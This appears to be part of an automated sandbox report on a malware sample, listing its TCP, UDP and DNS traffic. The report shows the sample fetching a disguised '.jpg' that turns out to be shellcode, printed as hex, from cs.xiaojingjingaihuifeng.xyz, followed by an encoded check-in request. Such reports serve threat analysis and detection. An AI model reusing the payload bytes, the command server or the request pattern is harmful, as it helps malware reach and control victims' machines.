Jan 10, 2025 15:15:09.794193983 CET	50098	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:09.794193983 CET	50098	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:09.794246912 CET	50098	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:09.899545908 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:09.899600029 CET	443	50099	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:09.899709940 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:09.899981022 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:09.899996996 CET	443	50099	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:10.357903004 CET	443	50099	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:10.358053923 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:10.358429909 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:10.358448982 CET	443	50099	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:10.359605074 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:10.359610081 CET	443	50099	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:10.787916899 CET	443	50099	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:10.787976980 CET	443	50099	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:10.788132906 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:10.788132906 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:10.873665094 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:10.873697042 CET	443	50099	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:10.873709917 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:10.873756886 CET	50099	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.011302948 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.011357069 CET	443	50100	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:11.011415005 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.011724949 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.011734009 CET	443	50100	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:11.471029043 CET	443	50100	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:11.471102953 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.471555948 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.471570015 CET	443	50100	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:11.472820997 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.472831011 CET	443	50100	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:11.894685030 CET	443	50100	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:11.894838095 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.894864082 CET	443	50100	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:11.894918919 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.894968033 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.894985914 CET	443	50100	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:11.894998074 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:11.895036936 CET	50100	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.008708000 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.008754015 CET	443	50101	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:12.008832932 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.009135962 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.009151936 CET	443	50101	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:12.483302116 CET	443	50101	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:12.483431101 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.483779907 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.483793974 CET	443	50101	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:12.484930992 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.484937906 CET	443	50101	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:12.918335915 CET	443	50101	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:12.918395996 CET	443	50101	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:12.918540955 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.918653011 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.918673038 CET	443	50101	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:12.918684006 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:12.918720961 CET	50101	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:13.025398970 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:13.025444984 CET	443	50102	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:13.025582075 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:13.025859118 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:13.025868893 CET	443	50102	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:13.503101110 CET	443	50102	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:13.503211021 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:13.597106934 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:13.597131968 CET	443	50102	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:13.612723112 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:13.612745047 CET	443	50102	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.000828981 CET	443	50102	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.000893116 CET	443	50102	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.000950098 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.001032114 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.001171112 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.001185894 CET	443	50102	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.001210928 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.001241922 CET	50102	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.103661060 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.103724957 CET	443	50103	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.103852987 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.104302883 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.104317904 CET	443	50103	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.560606956 CET	443	50103	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.560734987 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.562057972 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.562069893 CET	443	50103	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.563702106 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.563708067 CET	443	50103	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.969367981 CET	443	50103	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.969440937 CET	443	50103	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.969510078 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.969542980 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.969600916 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.969626904 CET	443	50103	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:14.969638109 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:14.969671011 CET	50103	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.072501898 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.072568893 CET	443	50104	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:15.072633982 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.072906971 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.072923899 CET	443	50104	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:15.538431883 CET	443	50104	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:15.538532019 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.539130926 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.539145947 CET	443	50104	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:15.540419102 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.540427923 CET	443	50104	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:15.932188034 CET	443	50104	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:15.932276011 CET	443	50104	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:15.932396889 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.932504892 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.932526112 CET	443	50104	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:15.932538986 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:15.932569981 CET	50104	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:16.087953091 CET	50105	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:16.088016033 CET	443	50105	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:16.088304996 CET	50105	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:16.088408947 CET	50105	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:15:16.088423014 CET	443	50105	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:16.555967093 CET	443	50105	188.114.96.3	192.168.2.6
Jan 10, 2025 15:15:16.556020975 CET	50105	443	192.168.2.6	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:13:13.227495909 CET	62919	53	192.168.2.6	1.1.1.1
Jan 10, 2025 15:13:13.265150070 CET	53	62919	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 15:13:13.227495909 CET	192.168.2.6	1.1.1.1	0x37a0	Standard query (0)	cs.xiaojingjingaihuifeng.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 15:13:13.265150070 CET	1.1.1.1	192.168.2.6	0x37a0	No error (0)	cs.xiaojingjingaihuifeng.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:13:13.265150070 CET	1.1.1.1	192.168.2.6	0x37a0	No error (0)	cs.xiaojingjingaihuifeng.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cs.xiaojingjingaihuifeng.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49713	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:13 UTC	242	OUT	GET /wqerqwersdgfx64.jpg HTTP/1.1 Host: cs.xiaojingjingaihuifeng.xyz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:13:14 UTC	801	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:13:14 GMT Content-Type: application/octet-stream Content-Length: 263239 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0XJQqn%2B7xFWnz%2BCJi7bpyfO7rGOVxWcg0RvyFiyN%2FN1on5CRzccoYlYv4%2Fd72cmuzC2Wz2qF0lB0IWkIj0VeZRI1acNOaElrLg6rT%2BicfZvpYeDTym7qb7nvYeJkWIr9LJwBygdOwfmLFKzH2L4d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd443a89be1a48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1962&min_rtt=1955&rtt_var=748&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2379&recv_bytes=856&delivery_rate=1449851&cwnd=157&unsent_bytes=0&cid=fb86b8b765a36831&ts=557&x=0"
2025-01-10 14:13:14 UTC	568	IN	Data Raw: fc 48 83 e4 f0 eb 33 5d 8b 45 00 48 83 c5 04 8b 4d 00 31 c1 48 83 c5 04 55 8b 55 00 31 c2 89 55 00 31 d0 48 83 c5 04 83 e9 04 31 d2 39 d1 74 02 eb e7 58 fc 48 83 e4 f0 ff d0 e8 c8 ff ff ff 61 9a fc 4a 61 9e f8 4a 2c c0 bd 18 79 88 34 fd 31 09 d8 dd 31 09 d8 95 bc 14 32 6a 43 eb 7a e3 9c a3 fb 20 50 c3 fa 20 af 10 bb 98 5f a5 19 ce 37 a1 19 ce 37 fb 51 47 ce 04 81 47 ce 04 81 47 ce 04 81 47 36 04 81 47 38 1b 3b 49 38 af 32 84 19 17 33 c8 d4 36 67 a0 bd 45 47 d0 cf 2a 20 a2 ae 47 00 c1 cf 29 6e ae bb 09 0c cb 9b 7b 79 a5 bb 12 17 85 ff 5d 44 a5 92 32 20 c0 bc 3f 2d ca 98 3f 2d ca 98 3f 2d ca ee eb ff a3 dc 5e 43 99 ee eb ff a3 dc 5e 43 99 88 05 31 a3 bb b0 8d 99 aa ea e3 a3 00 5f 5f 99 ac 4a 24 a3 9f ff 98 99 5c 8c eb a3 47 39 57 99 84 4a 25 a3 3f ff 99 99 Data Ascii: H3]EHM1HUU1U1H19tXHaJaJ,y4112jCz P _77QGGGG6G8;I8236gEG* G)n{y]D2 ?-?-?-^C^C1__J$\G9WJ%?
2025-01-10 14:13:14 UTC	1369	IN	Data Raw: 04 91 8b cf 04 91 8b cf 04 91 8b cf 04 91 8b e1 70 f4 f3 95 70 f4 f3 77 dc f6 f3 77 cc f6 f3 77 62 f4 f3 77 66 f4 f3 77 66 f4 f3 77 66 f4 f3 77 66 f4 f3 57 66 f4 93 79 14 90 f2 0d 75 90 f2 ef 8d 90 f2 ef 4d 92 f2 ef b7 92 f2 ef 05 90 f2 ef 05 90 f2 ef 05 90 f2 ef 05 90 f2 af 05 90 b2 81 61 f1 c6 e0 61 f1 c6 a8 b3 f1 c6 a8 73 f2 c6 a8 55 f2 c6 a8 f9 f1 c6 a8 f9 f1 c6 a8 f9 f1 c6 a8 f9 f1 c6 e8 f9 f1 06 c6 89 95 67 b2 e8 95 67 d6 c8 95 67 d6 68 91 67 d6 4a 91 67 d6 98 92 67 d6 98 92 67 d6 98 92 67 d6 98 92 67 96 98 92 27 b8 ea f7 4b d7 89 f7 4b bf 86 f7 4b bf 56 f3 4b bf 46 f3 4b bf b2 f0 4b bf b2 f0 4b bf b2 f0 4b bf b2 f0 4b ff b2 f0 09 ff b2 f0 09 ff b2 f0 09 ff b2 f0 09 ff b2 f0 09 ff b2 f0 09 ff b2 f0 09 ff b2 f0 09 ff b2 f0 09 ff b2 f0 09 ff b2 f0 09 Data Ascii: ppwwwbwfwfwfwfWfyuMaasUggghgJggggg'KKKVKFKKKKK
2025-01-10 14:13:14 UTC	1369	IN	Data Raw: 8f 74 9d be bf f7 7c 81 fe 7f 7c c3 74 7b 4d 82 fc 3b 4c c7 c7 e8 3f ca 44 0a 30 0b a6 08 72 04 18 04 40 ef 1d bd 7d ef 1d bd 3c 67 55 bf 7d a1 15 bc 40 e8 96 7c 44 a9 50 7c 44 ed 7b ba 77 2d 3e 33 76 65 b5 6f 52 6d fd e4 26 49 ed ac ad 35 c9 b4 e1 be bd 90 c1 7d 71 5c 89 f4 2d 78 81 bc a4 14 a5 ac ec 9d d1 88 f4 ca 90 de b5 9d d8 5d 59 bd 90 3e b0 f8 1b ef fd 73 c3 64 30 3b 48 96 d8 1e 65 96 d8 2d be 13 18 58 e6 5b 93 24 c2 33 d7 af 86 17 b7 e3 0d e2 fa 8a fb 52 fa 8a fb 1e 77 b7 eb 2d 73 b7 a7 a0 fc 3f a7 a0 fc 7e 2c 72 b5 f5 e7 31 4a a1 d9 11 cf 61 ac 36 8c ea e8 08 98 63 c7 81 df 67 42 41 a1 70 0a cc ee 78 42 e7 19 f2 06 e9 e1 0d c5 61 e0 45 3a a0 db 1a 3e dc 2b 29 fe 94 a0 75 da d4 e8 fe b6 f0 a0 b6 3d 84 84 e6 75 07 40 c6 34 58 01 98 6b 9b cd 54 23 Data Ascii: t\|\|t{M;L?D0r@}<gU}@\|DP\|D{w->3veoRm&I5}q\-x]Y>sd0;He-X[$3Rw-s?~,r1Ja6cgBApxBaE:>+)u=u@4XkT#
2025-01-10 14:13:14 UTC	1369	IN	Data Raw: 8b 8c be aa d7 a8 8e e2 5c c4 aa da 14 4f de fe 54 07 5d 3a 74 58 9e f6 b8 10 17 aa 9c 18 5f 23 f0 3c 4f 6b 79 48 6b 73 2e 09 3f 32 7b 48 69 73 2c 00 ea 9f 0c 4c 89 4e 45 c7 60 0b ce 3f 21 80 04 73 aa 62 ec 43 82 62 ec c6 42 17 93 8a c9 63 b7 fa 80 e8 4d b6 0d c5 4c f2 09 c5 04 33 ee c2 46 b8 aa ed 4a f9 93 eb 39 f3 d2 62 3f 4b d4 62 3f 4b 3f 3a 86 3b 3f 3a 86 d3 f0 be 87 d3 b8 35 5f 9b 3d f5 2a 9e b0 b6 27 75 f1 fe ac bd b3 01 f8 92 eb 8a 08 17 2b ff 21 52 a0 38 68 d9 74 70 e3 12 36 8f b7 3d 56 04 47 b8 96 71 52 f0 1d a4 1a 7b d6 e6 e5 2f f9 8e 6e df bb 05 2a f0 b7 44 a3 f6 ff cf 68 1e bc 4b 69 1e 37 8d 21 95 6b a9 71 dd e0 c5 55 85 a8 4e 21 a1 c8 06 a2 65 e8 47 fd 24 b6 06 a0 65 ea 59 63 2d 61 9d 2b a4 39 95 63 2d 51 85 2b a4 21 9d 63 2d 59 bd 22 7b 11 Data Ascii: \OT]:tX_#<OkyHks.?2{His,LNE`?!sbCbBcML3FJ9b?Kb?K?:;?:5_='u+!R8htp6=VGqR{/nDhKi7!kqUN!eG$eYc-a+9c-Q+!c-Y"{
2025-01-10 14:13:14 UTC	1369	IN	Data Raw: f3 da 73 53 f3 da 73 1b 7e 5f d3 1b 7e 5f 5a 46 be 13 d7 03 7e 5b 5e 46 46 13 d3 03 76 52 58 d7 3e db 1d 1f b3 98 e8 56 38 57 ac dd f0 90 e9 ed f7 90 e9 ed bf 57 ac ad af 57 ac ad 68 12 c4 ab 68 12 c4 e3 e1 57 14 d0 3a 90 51 28 3e 90 51 28 76 19 24 28 3e de 61 20 3e 5e 61 20 f9 1a 45 00 f8 1a 45 00 10 31 6e 00 10 b4 ae 0f 95 2b ae 0f 95 a0 eb 07 1e 73 60 cc 5a f8 b3 49 9a 8c 99 05 11 42 dd 8e c9 03 d2 38 c8 00 1b c7 0a 0b d3 44 f0 03 a6 49 b1 88 64 c2 62 c9 9b 00 ea c5 ab 8b 21 8c 54 4a 68 73 9f 3f b4 3a 14 7a b4 72 9d 26 90 22 d5 af cc 06 9d e7 45 5a b9 a7 0d d3 fd 83 35 9a 76 85 74 23 77 85 74 23 b0 c1 50 13 b1 c1 50 13 f0 4a 82 56 7d 0b 83 1e f6 c5 44 5a d2 ed 46 5a d2 ed 0e d3 96 c9 2e 3b ec e6 2e 3b a4 6d e0 b0 7c e8 20 c4 76 00 98 ba 77 00 71 c7 89 Data Ascii: sSs~_~_ZF~[^FFvRX>V8WWWhhW:Q(>Q(v$(>a >^a EE1n+s`ZIB8DIdb!TJhs?:zr&"EZ5vt#wt#PPJV}DZFZ.;.;m\| vwq
2025-01-10 14:13:14 UTC	1369	IN	Data Raw: 1a 3d 5f 4f 5b b6 96 0b 58 74 57 c3 55 35 5c 09 66 ed 1d 2a a9 a8 1e da e8 23 dc 51 3f e2 14 53 0c 34 27 8b 4d 17 f1 ca c6 d6 b0 e9 04 e5 67 e2 cc a4 ec 24 cf 7d ad af 01 bc 65 a4 40 bf bd e1 cd 3c e6 23 9b 05 27 ea 82 36 ef ab 09 f0 ab 20 d2 31 63 26 e1 f9 e8 e5 a0 38 23 f3 a3 74 07 a3 a0 a5 c6 6b ad e1 c5 a9 e9 d2 1d 22 2a 13 d5 20 6f 10 2d ab b9 54 1e 73 f8 67 c8 32 73 ad c3 f9 32 8e 14 b8 b9 4c 37 7b f8 6f fe 48 2e 64 36 09 a5 a3 72 0a 7c 62 ba 01 3d e9 75 44 3e 31 b4 8d 27 75 39 0a d6 64 c8 53 e5 ac 89 d8 22 ed 02 23 e3 25 04 10 2b 64 8f d3 ea ab 99 d0 a6 8f cd d3 77 4e 05 de 36 c5 ce ed ce ce 05 a9 cd 0c 44 8a 07 49 47 42 46 c2 84 03 cd 14 c5 30 1a 55 e6 e1 db 9d e4 d2 23 dc d7 04 62 57 14 27 a1 5c dc 66 2a 9d df 9f 6b 16 16 de 68 ee 52 53 ee 4a d0 Data Ascii: =_O[XtWU5\f#Q?S4'Mg$}e@<#'6 1c&8#tk" o-Tsg2s2L7{oH.d6r\|b=uD>1'u9dS"#%+dwN6DIGBF0U#bW'\f*khRSJ
2025-01-10 14:13:14 UTC	779	IN	Data Raw: d9 35 86 66 da fd c3 eb 58 3b 5e 2a 57 fa 96 21 12 71 47 e0 db 68 74 28 50 af 35 e9 9a b9 f4 21 9c 8a 3c 60 17 4b 3f 2d 9f 48 ee 6c 14 87 af 67 dd 46 67 6a 99 45 a5 2e aa 95 e4 0d 64 d4 e7 fd 25 5f 26 bc ae 8c e7 74 ac bf 30 30 9f 6f 13 e6 de e4 d4 a7 fd 25 95 94 2e 2e 5d 1f e8 6a 5e ce 63 a4 9f 06 68 e1 9c d6 a9 28 85 e5 61 a3 43 24 a9 a5 70 ec aa e8 fc ef 7b ac 71 6c b7 0d 7d 48 f6 86 bf 89 3e 8b fb 8a fc 00 2c cf ff f0 1f 19 be 7b c5 58 9d ad 04 93 8b ec 8f 5a b8 34 ce 51 72 07 19 10 51 c8 58 9b 93 09 90 99 a0 d1 d1 12 61 90 f2 d0 6a 58 b3 5b ac 5b 6a 9a 64 50 2b 11 aa 11 28 c9 6b d8 31 8c e6 5b 5e a0 0f 76 6d 68 4e fd ab 2c c5 26 6a e4 c3 15 a2 6f 00 54 63 a4 16 57 2e 34 15 86 ef fc 18 c7 64 36 5c f4 bc 3d 97 b0 bf ff d6 93 76 ba d5 6b fd 79 5e bd bc Data Ascii: 5fX;^*W!qGht(P5!<`K?-HlgFgjE.d%_&t00o%..]j^ch(aC$p{ql}H>,{XZ4QrQXajX[[jdP+(k1[^vmhN,&joTcW.4d6\=vky^
2025-01-10 14:13:14 UTC	1369	IN	Data Raw: dc 5a 36 af df 17 9e ac 0e 56 15 63 4a 55 d7 a2 82 58 93 91 52 19 18 50 93 d1 1a 14 a0 01 5b 1f 69 40 58 ef 28 cb 8b ae 0b 05 b8 79 4a 8e 7f 38 69 4f 5c ee 62 87 1d dd b1 0c db 99 b2 dd 1a 51 b9 56 d4 14 ba 86 15 dd a3 c2 98 5e 64 bd c1 e1 57 75 4a 27 16 fe 90 e6 de f8 a3 2e 9f 73 61 ef 54 65 62 a2 f8 66 b3 63 30 6b f2 e8 f9 58 2a a9 f2 92 6e aa 30 d3 4d 65 75 d0 bd 24 fe 12 36 f3 cd c4 77 d0 1b 05 bf d2 28 dd 8c 05 69 56 4d 44 4a 94 46 8c 0b 1f 80 8f d2 5e 0b 41 93 5d d3 04 1e de 20 0f fe 18 e1 c7 f5 5c 6a 1c 34 95 73 2f fc d4 f8 e9 bd 15 33 ff 7c dd 35 cc b4 56 f6 cf f9 e6 f5 1e b8 6d 3f 15 73 ac f7 18 37 af 35 5c 04 77 74 7f cd 32 77 87 46 f1 b6 4f 44 b5 85 97 05 3e 47 b4 c6 35 8f f5 4d f2 cb f6 94 33 03 fd d5 b8 cc b8 d6 60 0d 71 cf 53 c5 30 44 94 04 Data Ascii: Z6VcJUXRP[i@X(yJ8iO\bQV^dWuJ'.saTebfc0kX*n0Meu$6w(iVMDJF^A] \j4s/3\|5Vm?s75\wt2wFOD>G5M3`qS0D
2025-01-10 14:13:14 UTC	1369	IN	Data Raw: 13 30 a5 45 09 98 64 8c 10 59 ac 87 23 91 ed 0c e0 50 25 0a d3 98 26 47 37 9b f7 03 34 59 b6 00 cc 1c 3d cf 8d 97 fa 0e 45 9a bb 85 8b db 30 56 ca 1a f9 40 8b 11 36 73 58 55 05 bb 7b 9b 26 6c 48 48 67 e7 8f 89 af e5 cb ba 67 a4 40 7c 26 87 87 77 ee 0c 40 33 ed c5 81 fb e6 4e 4e be e5 86 8f 77 fc c3 02 f5 8c 48 49 37 bf 80 c2 f0 fa 0b 13 31 32 0d 20 f9 73 86 e1 b8 b2 4c f7 bb ff a4 f4 6a 3e 6c f9 2b b5 a3 bd 18 65 e2 b6 d1 21 e1 74 90 02 2f 35 93 f2 6e be 52 b3 e5 6d 61 64 c6 bb a0 ac c4 ff 93 7c 85 cc 40 3d 0e 0b 01 1e cf 00 c9 95 09 44 ca 44 82 8a 8f 47 52 ce 02 c4 f1 9f 6e 03 30 57 65 42 bb 8d a4 8b a2 be 6c 00 64 7f a7 16 a5 b7 a1 25 6d f6 2a e7 6e bb c6 e4 bf fa 4d 2d fe f1 87 ec 36 fc c3 ef f4 cf 1b ae d7 00 5a 25 15 c1 92 27 26 19 d3 ac e7 58 f0 6e Data Ascii: 0EdY#P%&G74Y=E0V@6sXU{&lHHgg@\|&w@3NNwHI712 sLj>l+e!t/5nRmad\|@=DDGRn0WeBld%m*nM-6Z%'&Xn
2025-01-10 14:13:14 UTC	1369	IN	Data Raw: 75 e7 6e bb be a6 6d 63 ff 2d a8 a2 37 2f 9b 72 76 a4 5f 33 55 61 54 f2 de aa 57 30 1f 63 4e 71 1c a3 c7 75 38 28 04 b4 f0 23 37 7c b5 ae b0 92 37 21 c4 d6 bc 1d e0 5d 7f 5c 6b 8c 3a d7 9c 4d f2 d1 dd 7e 20 e2 15 5d f3 a3 9e 9a f0 ee be db c3 3f ff 1a 0d 29 fc cb 4c a2 31 0a 84 af 75 39 74 ee 7e f6 30 ed bc b7 13 21 f9 b4 cb 60 72 73 0a a8 70 32 81 7a 34 01 71 49 e7 40 fa 8c a6 63 3d cd 85 b0 36 05 c4 83 e4 44 4f 40 a0 47 be 81 68 4c ff 0a a3 09 fc fa 62 c0 e5 bf ef 41 8a dc 4a 39 b9 14 0b b2 7a 55 80 44 bb 9d 86 77 73 dc 0d b1 b2 12 1b b2 ff 36 18 63 3e fe 15 22 b5 31 26 d2 f4 3a e8 96 f7 f8 ad 95 17 b9 8e 58 56 32 48 99 9e 30 7b 69 df bb bc 28 fc 7d b7 e0 bd f6 73 e3 4c 37 bb e8 0d bc 77 a9 0e 4c b6 60 17 09 3d a3 24 c1 79 90 e7 80 f2 54 a2 a3 36 df 5c Data Ascii: unmc-7/rv_3UaTW0cNqu8(#7\|7!]\k:M~ ]?)L1u9t~0!`rsp2z4qI@c=6DO@GhLbAJ9zUDws6c>"1&:XV2H0{i(}sL7wL`=$yT6\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49714	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:13:15 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
